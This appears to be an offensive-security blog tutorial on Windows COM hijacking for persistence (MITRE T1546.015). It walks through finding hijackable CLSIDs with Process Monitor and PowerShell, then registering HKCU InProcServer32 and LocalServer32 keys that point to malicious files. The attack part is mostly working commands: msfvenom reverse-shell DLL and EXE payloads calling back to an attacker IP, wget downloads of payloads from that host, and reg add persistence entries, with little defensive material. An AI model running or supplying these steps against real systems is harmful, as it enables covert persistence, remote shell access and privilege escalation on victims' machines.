Windows Persistence: COM Hijacking (MITRE: T1546.015)

According to MITRE, “Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence.” To hijack a COM object, an attacker needs to make certain changes in registry hives and replace the reference to a legitimate system component with a malicious one. When that application is run and the COM object is called, the malware is run instead, hence, giving persistence.

In this article, we will cover the methodology for COM hijacking.

MITRE TACTIC: Persistence (TA0003), Privilege Escalation (TA0004)

MITRE TECHNIQUE ID: T1546 (Event Triggered Execution)

SUBTITLE: T1546.015

Background

According to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as well as others.

It is not a programming language but a standard that is only applicable to code that has been compiled to binary. Programming languages like C++ provide simple mechanisms to play with COM objects. C, Java implement COM too.”

A COM object is one in which access to an object’s data is achieved exclusively through one or more sets of related functions. These function sets are called interfaces, and the functions of an interface are called methods. Further, COM requires that the only way to gain access to the methods of an interface is through a pointer to the interface. In other words, COM enables a binary to interact with other software objects or executables by implementing objects which can call DLLs and EXEs.

DCOM (Distributed COM) is middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology. By default, only Administrators may remotely activate and launch COM objects through DCOM. DCOM can execute macros in Office documents and also interact with WMI remotely thus opening the attacked domain to a wide array of vectors.

Please note that this attack works on a domain-joined system. DCOM remoting is not available across networks by default. To enable DCOM remoting in a non-domain joined the system, some magical code is required which is not in the scope of this article.

Registries: The registry is a system-defined database in which applications and system components store and retrieve configuration data. The data stored in the registry varies according to the version of Microsoft Windows. Applications use the registry API to retrieve, modify, or delete registry data. More info here.

CLSID: The CLSID or Class Identifier is a string of alphanumeric (both numbers and alphabet characters) symbols that are used to represent a specific instance of a Component Object Model or COM-based program. It allows operating systems and software, particularly Windows, to detect and access software components without identifying them by their names. More info here.

Attack Methodology

Basically, any application which is triggering an EXE/DLL or some other library first reads the HKCU (HKEY_CURRENT_USER) value and then HKLM (HKEY_LOCAL_MACHINE). So, if a hijackable key is found, we will create a corresponding CLSID in the HKCU hive and thus, the application will trigger the HKCU hive first (therefore, executing our code instead of legit code).

To perform the attack, we have to follow these steps:

• Find hijackable keys in the registry. COM servers that have missing CLSIDs and don’t require elevated privileges (belonging to the HKEY_CURRENT_USER category)
• Add a corresponding CLSID and strings referring to the application that had missing CLSIDs
• Create a malicious file
• Prompt the user to run the application which is supposed to trigger the COM event and run a malicious file.

Discover Hijackable Keys

Part 1

To discover hijackable keys, we would require a process monitor. We need to put these 4 filters:

• Operation is RegOpenKey Include

• Result is NAME NOT FOUND Include

• Path ends with InprocServer32/LocalServer32 Include

• Path begins with HKLM Exclude

Now you’d have an output of all the probably hijackable keys.

We can export this result and save it as “Logfile.CSV”. nccgroup developed a script called acCOMplice which can take in this CSV as input and give out all the keys that can be hijacked. Here, we are viewing InprocServer32 hijackable keys. We can download and use it like:

Import-Module .\COMHijackToolkit.ps1

Extract-HijackableKeysFromProcmonCSV -CSVfile .\Logfile.CSV

Another function in the same script will fetch the related CLSIDs and the missing DLL files/libraries.

These are all the DLLs that are missing from the disk. So, if we just upload our malicious DLL onto one of these paths and rename it as the DLL mentioned.

Part 2

Enigma0x3 developed a script called Get-ScheduledTaskComHandler.ps1 which can Discover all the vulnerable COM Keys of all the scheduled tasks on the machine that execute on user logon. To do this, we just download it and run it like:

Import-Module .\Get-ScheduledTaskComHandler.ps1

Get-ScheduledTaskComHandler

The script also has a great added module that can automatically identify scheduled tasks vulnerable to COM Hijacking which can give persistence to the system.

Get-ScheduledTaskComHandler -PersistenceLocations

Let’s pick a task called cache task which uses wininet.dll upon first time logon.

By default, all the tasks are configured in the folder %sysroot%\Tasks. The configuration file of this task is available at the location:

C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask which can be read using schtasks

schtasks /query /XML /TN “\Microsoft\Windows\Wininet\CacheTask”

Here, we now have the CLSID of the COM object which calls wininet.dll. We can open the registry hives and confirm if this COM object is calling wininet.dll

Now that we have identified a target, let’s use this COM object to conduct hijacking.

InProcServer32: CacheTask (Physical Access to Machine)

InProcServer32: InProcServer32 key represents a path to a dynamic link library (DLL) implementation. Often used to represent DLL which is supposed to be run by a process.

In the enumeration above, we found out a COM object is vulnerable to hijacking. This registry exists in HKLM. As per the methodology, we need to create this same CLSID in HKCU (HKEY_CURRENT_USER) hive.

So, we open the registry hive and create this key

HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\

Then we create one other key named:

{0358b920-0ac7-461f-98f4-58e32cd89148}

Again, right-click on this key and add a new subkey:

InProcServer32

Then under this, we create two strings, one with value: C:\users\Public\shell.dll and the other with the name “ThreadingModel” and value “Both”

Now, the path we just added doesn’t contain shell.dll. This is the code that will be executed when the user logs in. Let’s create a msfvenom DLL shell and upload it onto the victim system.

msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread lhost=192.168.1.4 lport=1337 -f dll > shell.dll

Now, upon restart and first logon by the user, we will receive a reverse shell like so:

InProcServer32: CacheTask (Remote Access to Machine)

What we just did above can be done remotely as well. First, we need access to the victim’s powershell (which can be obtained by using Nishang) and then we will use the following code provided by bohops.com found here. To find COM keys vulnerable to hijacking which include InProcServer32 keys we do:

$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }

$paths = $inproc | ForEach {$_.InprocServer32}

foreach ($p in $paths){$p;cmd /c dir $p > $null}

Similarly, these results can be stored in a text file using the code:

$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }

$inproc | ForEach {$_.InprocServer32} > ignite.txt

In the enumeration and exploitation example above, we used CacheTask and overridden the wininet.dll by shell.dll

Upon searching wininet.dll in this text file, we see that it exists

We can view CacheTask’s configuration file like so:

cd C:\Windows\System32\Tasks\Microsoft\Windows\Wininet

type CacheTask

Now, we have obtained a CLSID. This exists in the HKLM hive. We need to create this in HKCU which can be done using the “reg add” command. And then, we can confirm if it got added using the reg query. Finally, to check if it works, we can restart it and wait for a user to logon

REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 /t REG_SZ /d C:\Users\Public\shell.dll

REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 /t REG_SZ /v ThreadingModel /d Both

REG QUERY HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

shutdown -r

Now, when the system restarts and user Harshit logs in again, we will have a reverse shell confirming persistence has been achieved.

InProcServer32: Internet Explorer (Remote Access)

GDATA provided this method of persistence in a post here. Internet Explorer is widely used in corporate even today. Upon reading its documentation, it was observed that IE uses the following DLL: api-ms-win-downlevel-1×64-l1-1-0._dl

IE’s CLSID exists in: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

This DLL doesn’t exist by default in the system, so, to do COM hijacking, we will create the following folder and add this DLL here.

C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}

Now, to execute this attack, we need to override the IE CLSID by referring to that CLSID in HKCU hive as we did in the example above.

First, let’s create a new malicious DLL file and name it “api-ms-win-downlevel-1×64-l1-1-0._dl”

Now, we create the folder: C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}

cd c:\users\harshit\appdata\roaming\microsoft

mkdir installer

cd installer

mkdir {BCDE0395-E52F-467C-8E3D-C4579291692E}

cd {BCDE0395-E52F-467C-8E3D-C4579291692E}

powershell wget 192.168.1.4/ api-ms-win-downlevel-1×64-l1-1-0._dl -O api-ms-win-downlevel-1×64-l1-1-0._dl

Now, we will add the IE CLSID reference in HKCU.

REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32 /t REG_SZ /d C:\Users\harshit\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl

REG ADD HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32 /t REG_SZ /v ThreadingModel /d Apartment

Once the COM hijacking has been done, as soon as IE launches, we will receive a reverse shell!

LocalServer32: Remote Access to Machine

The LocalServer32 key represents a path to an executable (exe) implementation of a process, meaning that when an application is run, it refers to the COM keys and executes an EXE file.

To find all the hijackable localserver32 COM keys, the following procmon filters can be used:

• Operation is RegOpenKey Include
• Result is NAME NOT FOUND Include
• Path ends with LocalServer32 Include
• Path begins with HKLM Exclude

But since, we are using the remote machine, the following code can be used. The output result contains all the files that contain an empty reference to a file that doesn’t exist on the drive. As we can see, an interesting file has appeared. This file is called igniteserver.exe and refers to a World writable directory (/Users/Public). Means that an attacker can put his own malicious file on this directory with the name igniteserver.exe.

$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }

$inproc | ForEach {$_.LocalServer32} > ignite.txt

type ignite.txt

We can manually inspect other files too to see which files are vulnerable to COM hijacking and use SMB to copy malicious files with the same names on the directories.

Now, we need to obtain the CLSID of this exe. This can be obtained using the reg query command:

reg query HKEY_CLASSES_ROOT\CLSID /s /f igniteserver

We have obtained the CLSID reference of this COM object which is 05EAE363-122A-445A-97B6-3DE890E786F8. This can be confirmed in regedit.

Now, we need to create an EXE with name igniteserver.exe

msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.1.4 lport=1337 -f exe > igniteserver.exe

Now we need to transfer it to the desired location (C:\Users\Public)

wget 192.168.1.4/igniteserver.exe -O igniteserver.ex

Whenever an application will activate the COM object using this command, we will get persistence. If the application is run as admin we might escalate our privileges as well!

Now, the application which activates this COM object is using the create instance command in the respective programming language. We are just simulating the same using Powershell like so:

[activator]::CreateInstance([type]::GetTypeFromCLSID("{05EAE363-122A-445A-97B6-3DE890E786F8}"))

As soon as the application creates this instance and runs the COM key reference, we get our reverse shell!

Conclusion

In the article, we saw a demonstration of how we can use hijackable COM keys (that miss references to libraries) to gain persistence. We saw two methods InProcServer32 and LocalServer32 that are used by applications to run libraries in a process. Since the execution of these libraries is automated, replacing them with our malicious file would mean automated execution of our code as soon as the related application starts. In the InProcServer32 method, we create another reference to the same COM key existing in HKLM, in HKCU and override the execution. On the other hand, in the LocalServer32 method, we replace an EXE reference with our malicious one. Hope you liked the article. Thanks for reading.

Contact Author on Linkedin